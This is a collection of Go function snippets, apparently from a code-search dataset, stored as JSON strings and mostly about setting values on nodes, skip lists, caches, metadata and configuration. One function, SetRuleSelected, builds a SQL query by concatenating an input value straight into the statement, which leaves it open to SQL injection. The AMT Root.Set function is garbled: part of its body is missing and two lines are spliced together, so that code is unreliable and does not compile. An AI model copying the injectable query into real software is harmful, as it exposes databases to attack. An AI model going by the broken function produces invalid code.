SetMetadata(key string, val string) (err error) {\n\tnodePath := n.InternalPath()\n\tif err := xattr.Set(nodePath, key, []byte(val)); err != nil {\n\t\treturn errors.Wrap(err, \"decomposedfs: could not set parentid attribute\")\n\t}\n\treturn nil\n}","func (d *Database) SetLeafMetadata(ctx context.Context, start int64, metadata []Metadata) error {\n\ttx, err := d.db.BeginTx(ctx, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"BeginTx: %v\", err)\n\t}\n\tfor mi, m := range metadata {\n\t\tmidx := int64(mi) + start\n\t\ttx.Exec(\"INSERT INTO leafMetadata (id, module, version, fileshash, modhash) VALUES (?, ?, ?, ?, ?)\", midx, m.module, m.version, m.repoHash, m.modHash)\n\t}\n\treturn tx.Commit()\n}","func setParent(node, parent *I3Node) {\n\n\tnode.Parent = parent\n\n\tfor i := range node.Nodes {\n\t\tsetParent(&node.Nodes[i], node)\n\t}\n\tfor i := range node.Floating_Nodes {\n\t\tsetParent(&node.Floating_Nodes[i], node)\n\t}\n}","func (cfg *Config) setMulti(variables map[string]string, export bool) error {\n\t// sort keys to make the output testable\n\tvar keys []string\n\tfor k := range variables {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\n\tfor _, k := range keys {\n\t\tcfg.Set(k, variables[k], export)\n\t}\n\n\treturn cfg.Do()\n}","func (node *Node) SetMetadata(key, value string) {\n\tstr := strings.Join([]string{key, value}, \"=\")\n\tif node.Meta == nil || len(node.Meta) == 0 {\n\t\tnode.Meta = []byte(str)\n\t} else {\n\t\tnode.Meta = append(node.Meta, append([]byte(\",\"), []byte(str)...)...)\n\t}\n}","func (s *SkipList) setNodeValue(node *node, val []byte) {\n\tnewValSize := uint32(len(val))\n\tvalOffset, valSize := node.decodeValue()\n\t// If node currently has a value and the size of the value is bigger than new value,\n\t// use previous value's memory for new value.\n\tif valSize >= newValSize {\n\t\ts.valueAllocator.putBytesTo(valOffset, val)\n\t\tnode.encodeValue(valOffset, newValSize)\n\t\treturn\n\t}\n\t// If the length of new node is greater than odl node, forget old value\n\t// and allocate new space in memory for new value.\n\tnewOffset := s.valueAllocator.putBytes(val)\n\tnode.encodeValue(newOffset, newValSize)\n}","func (n *Node) Set(key string, val interface{}) {\n\tn.Properties[key] = val\n}","func (w *ListWidget) SetNodes(nodes []*expanders.TreeNode) {\n\n\t// Capture current view to navstack\n\tif w.HasCurrentItem() {\n\t\tw.navStack.Push(&Page{\n\t\t\tData: w.contentView.GetContent(),\n\t\t\tDataType: w.contentView.GetContentType(),\n\t\t\tValue: w.items,\n\t\t\tTitle: w.title,\n\t\t\tSelection: w.selected,\n\t\t\tExpandedNodeItem: w.CurrentItem(),\n\t\t})\n\n\t\tcurrentID := w.CurrentItem().ID\n\t\tfor _, node := range nodes {\n\t\t\tif node.ID == currentID {\n\t\t\t\tpanic(fmt.Errorf(\"ids must be unique or the navigate command breaks\"))\n\t\t\t}\n\t\t}\n\t}\n\n\tw.selected = 0\n\tw.items = nodes\n\tw.ClearFilter()\n}","func (d *Dao) SetXMLSegCache(c context.Context, tp int32, oid, cnt, num int64, value []byte) (err error) {\n\tkey := keyXMLSeg(tp, oid, cnt, num)\n\tconn := d.dmMC.Get(c)\n\titem := memcache.Item{\n\t\tKey: key,\n\t\tValue: value,\n\t\tExpiration: d.dmExpire,\n\t\tFlags: memcache.FlagRAW,\n\t}\n\tif err = conn.Set(&item); err != nil {\n\t\tlog.Error(\"mc.Set(%v) error(%v)\", item, err)\n\t}\n\tconn.Close()\n\treturn\n}","func (s *SkipList) Set(key []byte, val []byte) {\n\tlistHeight := s.getHeight()\n\n\tvar prevNodes [DefaultMaxHeight + 1]*node\n\tvar nextNodesOffsets [DefaultMaxHeight + 1]uint32\n\tvar sameKey bool\n\n\tprevNodes[listHeight] = s.head\n\n\t// Starting from the highest level, find the suitable position to\n\t// put the node for each level.\n\tfor i := int(listHeight) - 1; i >= 0; i-- {\n\t\tprevNodes[i], nextNodesOffsets[i], sameKey = s.getNeighbourNodes(prevNodes[i+1], uint8(i), key)\n\t\t// if there is already a node with the same key, there is no need to\n\t\t// create a new node, just use it.\n\t\tif sameKey {\n\t\t\ts.setNodeValue(prevNodes[i], val)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Create a new node.\n\tnodeHeight := s.randomHeight()\n\tnode, nodeOffset := newNode(s.mainAllocator, s.valueAllocator, nodeHeight, key, val)\n\n\t// If the height of new node is more then current height of the list,\n\t// try to increase list height using CAS, since it can be changed.\n\tfor listHeight < uint32(nodeHeight) {\n\t\tif s.casHeight(listHeight, uint32(nodeHeight)) {\n\t\t\tbreak\n\t\t}\n\t\tlistHeight = s.getHeight()\n\t}\n\n\t// Start from base level and put new node.\n\t// We are starting from base level to prevent race conditions\n\t// for neighbors.\n\tfor i := uint8(0); i < nodeHeight; i++ {\n\t\tfor {\n\t\t\t// if prevNodes[i] is nil, it means at the time of search,\n\t\t\t// list height was less than new node length.\n\t\t\t// We need to discover this level.\n\t\t\tif prevNodes[i] == nil {\n\t\t\t\tprevNodes[i], nextNodesOffsets[i], _ = s.getNeighbourNodes(s.head, i, key)\n\t\t\t}\n\n\t\t\tnode.layers[i] = nextNodesOffsets[i]\n\t\t\tif prevNodes[i].casNextNodeOffset(i, nextNodesOffsets[i], nodeOffset) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t// If cas fails, we need to rediscover this level\n\t\t\tprevNodes[i], nextNodesOffsets[i], sameKey = s.getNeighbourNodes(prevNodes[i], i, key)\n\t\t\tif sameKey {\n\t\t\t\ts.setNodeValue(prevNodes[i], val)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n}","func (m *MerkleTree) Set(index []byte, key string, value []byte) error {\n\tcommitment, err := crypto.NewCommit([]byte(key), value)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttoAdd := userLeafNode{\n\t\tkey: key,\n\t\tvalue: append([]byte{}, value...), // make a copy of value\n\t\tindex: index,\n\t\tcommitment: commitment,\n\t}\n\tm.insertNode(index, &toAdd)\n\treturn nil\n}","func (node *SimpleNode) SetNodes(nodes Nodes) {\n\tnode.children = nodes\n}","func (fi *funcInfo) emitSetList(line, a, b, c int) {\r\n\tfi.emitABC(line, OP_SETLIST, a, b, c)\r\n}","func (_ResolverContract *ResolverContractSession) SetMultiaddr(node [32]byte, multiaddr []byte) (*types.Transaction, error) {\n\treturn _ResolverContract.Contract.SetMultiaddr(&_ResolverContract.TransactOpts, node, multiaddr)\n}","func (m *EntityMap) Set(x, y, z int64, eid engine.Entity) {\n key := (x&0xFFFFF0)<<36 + (y&0xFFFFF0)<<16 + (z&0x3FFFFC)>>2\n chunk, ok := m.chunks[key]\n if chunk != nil {\n chunk.Set(x, y, z, eid)\n } else if !ok && m.generator != nil{\n m.generator.GenerateChunk(m, (x&0xFFFFF0)>>4, (y&0xFFFFF0)>>4, (z&0x3FFFFC)>>2)\n m.Set(x, y, z, eid)\n }\n}","func (m *DeviceManagementComplexSettingDefinition) SetPropertyDefinitionIds(value []string)() {\n err := m.GetBackingStore().Set(\"propertyDefinitionIds\", value)\n if err != nil {\n panic(err)\n }\n}","func FillDefinition(d *Definition, fields map[string]string) error {\n\tif d == nil {\n\t\treturn nil\n\t}\n\tsdef := reflect.ValueOf(d).Elem()\n\ttypeOfDef := sdef.Type()\n\tfor k, v := range fields {\n\t\t// Check the field is present\n\t\tif f, ok := typeOfDef.FieldByName(k); ok {\n\t\t\t// Use the right type\n\t\t\tswitch f.Type.Name() {\n\t\t\tcase \"float\":\n\t\t\t\tvf, _ := strconv.ParseFloat(v, 32)\n\t\t\t\tsdef.FieldByName(k).SetFloat(vf)\n\t\t\tcase \"int\":\n\t\t\t\tvi, _ := strconv.Atoi(v)\n\t\t\t\tsdef.FieldByName(k).SetInt(int64(vi))\n\t\t\tcase \"string\":\n\t\t\t\tsdef.FieldByName(k).SetString(v)\n\t\t\tcase \"bool\":\n\t\t\t\tvb, _ := strconv.ParseBool(v)\n\t\t\t\tsdef.FieldByName(k).SetBool(vb)\n\t\t\tcase \"\":\n\t\t\t\tif f.Type.Kind().String() == \"slice\" {\n\t\t\t\t\t// Special case for \"tags\" which is an array, not a scalar\n\t\t\t\t\ta := strings.Split(v, \",\")\n\t\t\t\t\tsdef.FieldByName(k).Set(reflect.ValueOf(a))\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\treturn fmt.Errorf(\"Unsupported type: %s\", f.Type.Name())\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}","func (p *prober) setNodes(added nodeMap, removed nodeMap) {\n\tp.Lock()\n\tdefer p.Unlock()\n\n\tfor _, n := range removed {\n\t\tfor elem := range n.Addresses() {\n\t\t\tp.RemoveIP(elem.IP)\n\t\t}\n\t}\n\n\tfor _, n := range added {\n\t\tfor elem, primary := range n.Addresses() {\n\t\t\t_, addr := resolveIP(&n, elem, \"icmp\", primary)\n\t\t\tif addr == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tip := ipString(elem.IP)\n\t\t\tresult := &models.ConnectivityStatus{}\n\t\t\tresult.Status = \"Connection timed out\"\n\t\t\tp.AddIPAddr(addr)\n\t\t\tp.nodes[ip] = n\n\n\t\t\tif p.results[ip] == nil {\n\t\t\t\tp.results[ip] = &models.PathStatus{\n\t\t\t\t\tIP: elem.IP,\n\t\t\t\t}\n\t\t\t}\n\t\t\tp.results[ip].Icmp = result\n\t\t}\n\t}\n}","func (mgr *Manager) SaveNodeDef(kind string, force bool) error {\n\tatomic.AddUint64(&mgr.stats.TotSaveNodeDef, 1)\n\n\tif mgr.cfg == nil {\n\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefNil, 1)\n\t\treturn nil // Occurs during testing.\n\t}\n\n\tnodeDef := &NodeDef{\n\t\tHostPort: mgr.bindHttp,\n\t\tUUID: mgr.uuid,\n\t\tImplVersion: mgr.version,\n\t\tTags: mgr.tags,\n\t\tContainer: mgr.container,\n\t\tWeight: mgr.weight,\n\t\tExtras: mgr.extras,\n\t}\n\n\tfor {\n\t\tnodeDefs, cas, err := CfgGetNodeDefs(mgr.cfg, kind)\n\t\tif err != nil {\n\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefGetErr, 1)\n\t\t\treturn err\n\t\t}\n\t\tif nodeDefs == nil {\n\t\t\tnodeDefs = NewNodeDefs(mgr.version)\n\t\t}\n\t\tnodeDefPrev, exists := nodeDefs.NodeDefs[mgr.uuid]\n\t\tif exists && !force {\n\t\t\tif reflect.DeepEqual(nodeDefPrev, nodeDef) {\n\t\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefSame, 1)\n\t\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefOk, 1)\n\t\t\t\treturn nil // No changes, so leave the existing nodeDef.\n\t\t\t}\n\t\t}\n\n\t\tnodeDefs.UUID = NewUUID()\n\t\tnodeDefs.NodeDefs[mgr.uuid] = nodeDef\n\t\tnodeDefs.ImplVersion = CfgGetVersion(mgr.cfg)\n\t\tlog.Printf(\"manager: setting the nodeDefs implVersion \"+\n\t\t\t\"to %s\", nodeDefs.ImplVersion)\n\n\t\t_, err = CfgSetNodeDefs(mgr.cfg, kind, nodeDefs, cas)\n\t\tif err != nil {\n\t\t\tif _, ok := err.(*CfgCASError); ok {\n\t\t\t\t// Retry if it was a CAS mismatch, as perhaps\n\t\t\t\t// multiple nodes are all racing to register themselves,\n\t\t\t\t// such as in a full datacenter power restart.\n\t\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefRetry, 1)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefSetErr, 1)\n\t\t\treturn err\n\t\t}\n\t\tbreak\n\t}\n\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefOk, 1)\n\treturn nil\n}","func (n *Node) split() {\n\tquads := n.boundingBox.Quarter()\n\n\tn.children[0] = NewNode(n.level+1, quads[0])\n\tn.children[1] = NewNode(n.level+1, quads[1])\n\tn.children[2] = NewNode(n.level+1, quads[2])\n\tn.children[3] = NewNode(n.level+1, quads[3])\n\n\t// Make a copy of our values\n\tvar values []Boxer\n\tvalues = append(values, n.values...)\n\n\t// Clear out the current values\n\tn.values = nil\n\n\t// Reinsert our values\n\tfor i, _ := range values {\n\t\tn.Insert(values[i])\n\t}\n}","func (_ResolverContract *ResolverContractTransactorSession) SetMultiaddr(node [32]byte, multiaddr []byte) (*types.Transaction, error) {\n\treturn _ResolverContract.Contract.SetMultiaddr(&_ResolverContract.TransactOpts, node, multiaddr)\n}","func (me *TAttlistSupplMeshNameType) Set(s string) { (*xsdt.Token)(me).Set(s) }","func (e *BaseExecutor) SetChildren(idx int, ex Executor) {\n\te.children[idx] = ex\n}","func (g *GCache) SetMulti(values map[string]any, ttl time.Duration) (err error) {\n\tfor key, val := range values {\n\t\terr = g.db.SetWithExpire(key, val, ttl)\n\t}\n\treturn\n}","func (s HTTPStore) SetMulti(metas map[string][]byte) error {\n\turl, err := s.buildMetaURL(\"\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := NewMultiPartMetaRequest(url.String(), metas)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := s.roundTrip.RoundTrip(req)\n\tif err != nil {\n\t\treturn NetworkError{Wrapped: err}\n\t}\n\tdefer resp.Body.Close()\n\t// if this 404's something is pretty wrong\n\treturn translateStatusToError(resp, \"POST metadata endpoint\")\n}","func (d Data) set(keys []string, value interface{}) error {\n\tswitch len(keys) {\n\tcase 0:\n\t\treturn nil\n\tcase 1:\n\t\treturn d.setValue(keys[0], value)\n\t}\n\n\tkeyData, err := d.Data(keys[0])\n\tswitch err {\n\tcase ErrUnexpectedType, ErrNotFound:\n\t\tkeyData = make(Data)\n\t\td[keys[0]] = keyData\n\t\treturn keyData.set(keys[1:], value)\n\tcase nil:\n\t\treturn keyData.set(keys[1:], value)\n\tdefault:\n\t\treturn err\n\t}\n}","func (s *SkipList) Set(key, value interface{}) {\n\tif key == nil {\n\t\tpanic(\"goskiplist: nil keys are not supported\")\n\t}\n\n\t// s.level starts from 0, so we need to allocate one.\n\tupdate := make([]*snode, s.level()+1, s.effectiveMaxLevel()+1)\n\tcandidate := s.getPath(s.header, update, key)\n\n\tif candidate != nil && candidate.key == key {\n\t\tcandidate.value = value\n\t\treturn\n\t}\n\n\tnewLevel := s.randomLevel()\n\t// 随机增加level\n\tif currentLevel := s.level(); newLevel > currentLevel {\n\t\t// there are no pointers for the higher levels in update.\n\t\t// Header should be there. Also add higher level links to the header.\n\t\tfor i := currentLevel + 1; i <= newLevel; i++ {\n\t\t\tupdate = append(update, s.header)\n\t\t\ts.header.forward = append(s.header.forward, nil)\n\t\t}\n\t}\n\n\tnewNode := &snode{\n\t\tforward: make([]*snode, newLevel+1, s.effectiveMaxLevel()+1),\n\t\tkey: key,\n\t\tvalue: value,\n\t}\n\n\t// 给新加入的节点设置前指针\n\tif previous := update[0]; previous.key != nil {\n\t\tnewNode.backward = previous\n\t}\n\n\t// 给新加入的节点设置后指针(数组)\n\tfor i := 0; i <= newLevel; i++ {\n\t\tnewNode.forward[i] = update[i].forward[i]\n\t\tupdate[i].forward[i] = newNode\n\t}\n\n\ts.length++\n\n\tif newNode.forward[0] != nil {\n\t\tif newNode.forward[0].backward != newNode {\n\t\t\tnewNode.forward[0].backward = newNode\n\t\t}\n\t}\n\n\tif s.footer == nil || s.lessThan(s.footer.key, key) {\n\t\ts.footer = newNode\n\t}\n}","func newStatefulSetNode(nodeName string, node v1alpha1.ElasticsearchNode, cluster *v1alpha1.Elasticsearch, roleMap map[v1alpha1.ElasticsearchNodeRole]bool) NodeTypeInterface {\n\tstatefulSetNode := statefulSetNode{}\n\n\tstatefulSetNode.populateReference(nodeName, node, cluster, roleMap, node.NodeCount)\n\n\treturn &statefulSetNode\n}","func (tmpl *Template) setVars(data interface{}) {\n\tvalue, _ := core.GetValue(data, tmpl.config.Prefix)\n\ttmpl.store.Purge()\n\tfor k, v := range core.ToKvMap(value) {\n\t\ttmpl.store.Set(k, v)\n\t}\n}","func (l *GitLocation) SetTestDefs(testDefMap map[string]*testdefinition.TestDefinition) error {\n\t// ignore the location if the domain is excluded\n\tif util.DomainMatches(l.repoURL.Hostname(), testmachinery.Locations().ExcludeDomains...) {\n\t\treturn nil\n\t}\n\ttestDefs, err := l.getTestDefs()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, def := range testDefs {\n\t\t// Prioritize local testdefinitions over remote\n\t\tif testDefMap[def.Info.Name] == nil || testDefMap[def.Info.Name].Location.Type() != tmv1beta1.LocationTypeLocal {\n\t\t\tdef.AddInputArtifacts(argov1.Artifact{\n\t\t\t\tName: \"repo\",\n\t\t\t\tPath: testmachinery.TM_REPO_PATH,\n\t\t\t})\n\t\t\ttestDefMap[def.Info.Name] = def\n\t\t}\n\t}\n\treturn nil\n}","func (t *T) SetNode(n *node.T) { t.n = n }","func (d Document) Set(fp []string, val interface{}) error {\n\td2, err := d.getDocument(fp[:len(fp)-1], true)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn d2.SetField(fp[len(fp)-1], val)\n}","func (self *TileSprite) SetChildrenA(member []DisplayObject) {\n self.Object.Set(\"children\", member)\n}","func (a *AST) SetChildren(children []AST) {\n\tif a.RootToken {\n\t\ta.Children = children\n\t} else {\n\t\ta.Children = append(a.Children[:1], children...)\n\t}\n}","func Set(items []utils.Pair, db RedisDBClientInterface, group environment.EnvironmentGroup) error {\n\tfor _, kv := range items {\n\t\tfst := extract(kv.Fst.(string), group)\n\t\tsnd := extract(kv.Snd.(string), group)\n\t\t_, err := db.Set(fst, snd,0).Result()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (me *TxsdRegistryHandleSimpleContentExtensionRegistry) Set(s string) { (*xsdt.Nmtoken)(me).Set(s) }","func (_ResolverContract *ResolverContractTransactor) SetMultiaddr(opts *bind.TransactOpts, node [32]byte, multiaddr []byte) (*types.Transaction, error) {\n\treturn _ResolverContract.contract.Transact(opts, \"setMultiaddr\", node, multiaddr)\n}","func (n *Nodes) Set1(node *Node)","func (m *DeviceManagementConfigurationSettingDefinition) SetKeywords(value []string)() {\n err := m.GetBackingStore().Set(\"keywords\", value)\n if err != nil {\n panic(err)\n }\n}","func (f *Fields) Set(s []*Field)","func initChilds(values map[string]interface{}) map[string]interface{} {\r\n\ttypeName := values[\"TYPENAME\"].(string)\r\n\tstoreId := typeName[0:strings.Index(typeName, \".\")]\r\n\tprototype, _ := GetServer().GetEntityManager().getEntityPrototype(typeName, storeId)\r\n\tfor i := 0; i < len(prototype.Fields); i++ {\r\n\t\tif strings.HasPrefix(prototype.Fields[i], \"M_\") {\r\n\t\t\tisBaseType := strings.HasPrefix(prototype.FieldsType[i], \"xs.\") || strings.HasPrefix(prototype.FieldsType[i], \"[]xs.\") || strings.HasPrefix(prototype.FieldsType[i], \"enum:\")\r\n\t\t\tif !isBaseType {\r\n\t\t\t\tisRef := strings.HasSuffix(prototype.FieldsType[i], \":Ref\") || strings.HasSuffix(prototype.Fields[i], \"Ptr\")\r\n\t\t\t\tif !isRef {\r\n\t\t\t\t\tv := reflect.ValueOf(values[prototype.Fields[i]])\r\n\t\t\t\t\t// In case of an array of references.\r\n\t\t\t\t\tif v.IsValid() {\r\n\t\t\t\t\t\tif v.Type().Kind() == reflect.Slice {\r\n\t\t\t\t\t\t\tfor j := 0; j < v.Len(); j++ {\r\n\t\t\t\t\t\t\t\tif v.Index(j).Type().Kind() == reflect.Interface {\r\n\t\t\t\t\t\t\t\t\tif reflect.TypeOf(v.Index(j).Interface()).Kind() == reflect.String {\r\n\t\t\t\t\t\t\t\t\t\tif Utility.IsValidEntityReferenceName(v.Index(j).Interface().(string)) {\r\n\t\t\t\t\t\t\t\t\t\t\tv_, err := getEntityByUuid(v.Index(j).Interface().(string))\r\n\t\t\t\t\t\t\t\t\t\t\tif err == nil {\r\n\t\t\t\t\t\t\t\t\t\t\t\tvalues[prototype.Fields[i]].([]interface{})[j] = v_\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t// In case of a reference.\r\n\t\t\t\t\t\t\tif v.Type().Kind() == reflect.String {\r\n\t\t\t\t\t\t\t\t// Here I will test if the value is a valid reference.\r\n\t\t\t\t\t\t\t\tif Utility.IsValidEntityReferenceName(v.String()) {\r\n\t\t\t\t\t\t\t\t\tv_, err := getEntityByUuid(v.String())\r\n\t\t\t\t\t\t\t\t\tif err == nil {\r\n\t\t\t\t\t\t\t\t\t\tvalues[prototype.Fields[i]] = v_\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn values\r\n}","func (hat *HashedArrayTree) Set(index int, value interface{}) error {\n\tif !hat.validIndex(index) {\n\t\treturn ErrIndexOutOfRange\n\t}\n\tti, li := hat.topIndex(index), hat.leafIndex(index)\n\that.top[ti][li] = value\n\treturn nil\n}","func (em edgeMap) set(from, to *Vertex) {\n\t// This can take O(seconds), so let's do it outside the lock.\n\tnumUsages := astParser.ModuleUsagesForModule(from.Label, to.Label)\n\n\temMu.Lock()\n\tdefer emMu.Unlock()\n\tif em == nil {\n\t\tem = make(edgeMap)\n\t}\n\tif _, ok := em[from.Label]; !ok {\n\t\tem[from.Label] = make(map[string]*edge)\n\t}\n\tem[from.Label][to.Label] = &edge{From: from, To: to, NumUsages: numUsages}\n}","func Set(object *astext.Object, path []string, value ast.Node) error {\n\tif len(path) == 0 {\n\t\treturn errors.New(\"path was empty\")\n\t}\n\n\tcurObj := object\n\n\tfor i, k := range path {\n\t\tfield, err := findField(curObj, k)\n\t\tif err != nil {\n\t\t\tswitch err.(type) {\n\t\t\tdefault:\n\t\t\t\treturn err\n\t\t\tcase *unknownField:\n\t\t\t\tfield, err = astext.CreateField(k)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tfield.Hide = ast.ObjectFieldInherit\n\t\t\t\tcurObj.Fields = append(curObj.Fields, *field)\n\t\t\t}\n\t\t}\n\n\t\tif i == len(path)-1 {\n\t\t\tfield, _ = findField(curObj, k)\n\t\t\tif canUpdateObject(field.Expr2, value) {\n\t\t\t\treturn errors.New(\"can't set object to non object\")\n\t\t\t}\n\t\t\tfield.Expr2 = value\n\t\t\treturn nil\n\t\t}\n\n\t\tif field.Expr2 == nil {\n\t\t\tcurObj = &astext.Object{}\n\t\t\tfield.Expr2 = curObj\n\t\t} else if obj, ok := field.Expr2.(*astext.Object); ok {\n\t\t\tcurObj = obj\n\t\t} else {\n\t\t\treturn errors.Errorf(\"child is not an object at %q\", k)\n\t\t}\n\t}\n\n\treturn nil\n}","func (m FieldMap) Set(field FieldWriter) FieldMap {\n\ttValues := make(TagValues, 1)\n\ttValues[0].init(field.Tag(), field.Write())\n\tm.tagLookup[field.Tag()] = tValues\n\treturn m\n}","func (dl *DoublyLinkedList) set(position int32, value int32) bool {\n\tnode := dl.get(position)\n\tif node == nil {\n\t\treturn false\n\t}\n\tnode.value = value\n\treturn true\n}","func (me *TxsdThoroughfareDependentThoroughfares) Set(s string) { (*xsdt.Nmtoken)(me).Set(s) }","func SetTagonNode(nodes2tag string, appSettings appsettings.AppSettings) error {\n\t// creates the in-cluster config\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\tlog.Debugf(\"Getting the in cluster configuration for Kubernetes\")\n\t\treturn err\n\t}\n\t// creates the clientset\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\tlog.Debugf(\"Connecting to Kubernetes...\")\n\t\treturn err\n\t}\n\n\tk8snode, err := clientset.CoreV1().Nodes().Get(nodes2tag, metav1.GetOptions{})\n\tif err != nil {\n\t\tlog.Debugf(\"Getting the node %s from Kubernetes\", k8snode.Name)\n\t\treturn err\n\t}\n\n\tannotations := k8snode.Annotations\n\n\tfor i := range appSettings.InfrastructureTags {\n\t\tannotations[K8sAnnotationDomain+\"/\"+appSettings.InfrastructureTags[i].Key] = appSettings.InfrastructureTags[i].Value\n\t}\n\n\tk8snode.Annotations = annotations\n\tlog.Debugf(\"Setting annotations on the node %s\", k8snode.Name)\n\t_, err = clientset.CoreV1().Nodes().Update(k8snode)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Infof(\"Set the annotations on the\")\n\n\treturn nil\n}","func SetParents(index, firstparent, lastparent int) {\n\tC.hepevt_set_parents(\n\t\tC.int(index+1),\n\t\tC.int(firstparent),\n\t\tC.int(lastparent))\n}","func (r *Root) Set(ctx context.Context, i uint64, val cbg.CBORMarshaler) error {\n\tif i > MaxIndex {\n\t\treturn fmt.Errorf(\"index %d is out of range for the amt\", i)\n\t}\n\n\tvar d cbg.Deferred\n\tif val == nil {\n\t\td.Raw = cbg.CborNull\n\t} else {\n\t\tvalueBuf := new(bytes.Buffer)\n\t\tif err := val.MarshalCBOR(valueBuf); err != nil {\n\t\t\treturn err\n\t\t}\n\t\td.Raw = valueBuf.Bytes()\n\t}\n\n\t// where the index is greater than the number of elements we can fit into the\n\t// current AMT, grow it until it will fit.\n\tfor i >= nodesForHeight(r.bitWidth, r.height+1) {\n\t\t// if we have existing data, perform the re-height here by pushing down\n\t\t// the existing tree into the left-most portion of a new root\n\t\tif !r.node.empty() {\n\t\t\tnd := r.node\n\t\t\t// since all our current elements fit in the old height, we _know_ that\n\t\t\t// they will all sit under element [0] of this new node.\n\t\t\tr.node = &node{links: make([]*link, 1<= (MaxIndex - 1) {\n\t\t\treturn errInvalidCount\n\t\t}\n\t\tr.count++\n\t}\n\n\treturn nil\n}","func (sl *List) Set(k, v interface{}) (added bool) {\n\tn := sl.findAndUpdate(k)\n\n\tif n != nil && sl.cmpFn(k, n.k) == 0 {\n\t\tn.v = v\n\t\treturn\n\t}\n\n\tn = &node{\n\t\tk: k,\n\t\tv: v,\n\t\tnext: make([]*node, sl.newLevel()),\n\t}\n\n\tfor i := range n.next {\n\t\tif up := sl.update[i]; up != nil {\n\t\t\ttmp := up.next[i]\n\t\t\tn.next[i] = tmp\n\t\t\tup.next[i] = n\n\t\t\tsl.update[i] = nil\n\t\t}\n\t}\n\n\tsl.len++\n\n\treturn true\n}","func (ln *LocalNode) Set(e qnr.Entry) {\n\tln.mu.Lock()\n\tdefer ln.mu.Unlock()\n\n\tln.set(e)\n}","func (m *SynchronizationSchema) SetDirectories(value []DirectoryDefinitionable)() {\n err := m.GetBackingStore().Set(\"directories\", value)\n if err != nil {\n panic(err)\n }\n}","func (pm *PathMap) set(path string, value interface{}) {\n\tparts := strings.Split(path, svnSep)\n\tdir, name := parts[:len(parts)-1], parts[len(parts)-1]\n\tpm._createTree(dir).blobs[name] = value\n}","func (m *Module) metadataDef(oldMetadata *ast.Metadata) {\n\tmd := m.getMetadata(oldMetadata.ID)\n\tfor _, oldNode := range oldMetadata.Nodes {\n\t\tnode := m.metadataNode(oldNode)\n\t\tmd.Nodes = append(md.Nodes, node)\n\t}\n}","func SetNodeType(node []byte, nodeType NodeType) {\n\ttypet := (*NodeType)(unsafe.Pointer(&node[NodeTypeOffset]))\n\t*typet = nodeType\n}","func (m *Map) SetMany(keys []string) {\n\tfor _, key := range keys {\n\t\tm.Set(key)\n\t}\n}","func (n *resPool) SetChildren(children *list.List) {\n\tn.Lock()\n\tdefer n.Unlock()\n\tn.children = children\n}","func (m *Set) SetTerms(value []Termable)() {\n err := m.GetBackingStore().Set(\"terms\", value)\n if err != nil {\n panic(err)\n }\n}","func SetRuleSelected(n map[string]string) (err error) {\n node_uniqueid_ruleset := n[\"nid\"]\n ruleset_uniqueid := n[\"rule_uid\"]\n\n if ndb.Rdb == nil {\n logs.Error(\"SetRuleSelected -- Can't access to database\")\n return errors.New(\"SetRuleSelected -- Can't access to database\")\n }\n sqlQuery := \"SELECT * FROM ruleset_node WHERE node_uniqueid = \\\"\" + node_uniqueid_ruleset + \"\\\";\"\n rows, err := ndb.Rdb.Query(sqlQuery)\n if err != nil {\n logs.Error(\"Put SetRuleSelecteda query error %s\", err.Error())\n return err\n }\n defer rows.Close()\n if rows.Next() {\n rows.Close()\n updateRulesetNode, err := ndb.Rdb.Prepare(\"update ruleset_node set ruleset_uniqueid = ? where node_uniqueid = ?;\")\n if err != nil {\n logs.Error(\"SetRuleSelected UPDATE prepare error -- \" + err.Error())\n return err\n }\n _, err = updateRulesetNode.Exec(&ruleset_uniqueid, &node_uniqueid_ruleset)\n defer updateRulesetNode.Close()\n\n if err != nil {\n logs.Error(\"SetRuleSelected UPDATE Error -- \" + err.Error())\n return err\n }\n return nil\n } else {\n insertRulesetNode, err := ndb.Rdb.Prepare(\"insert into ruleset_node (ruleset_uniqueid, node_uniqueid) values (?,?);\")\n _, err = insertRulesetNode.Exec(&ruleset_uniqueid, &node_uniqueid_ruleset)\n defer insertRulesetNode.Close()\n\n if err != nil {\n logs.Error(\"error insertRulesetNode en ruleset/rulesets--> \" + err.Error())\n return err\n }\n return nil\n }\n return err\n}","func (h *hashMap) Set(strKey, val string) {\n\tkey := GetHash(strKey)\n\n\tnode := &node{\n\t\tKey: Regularkey(key),\n\t\tVal: val,\n\t}\n\n\tbucket := h.getBucket(key)\n\n\tif bucket.add(node) {\n\t\tif 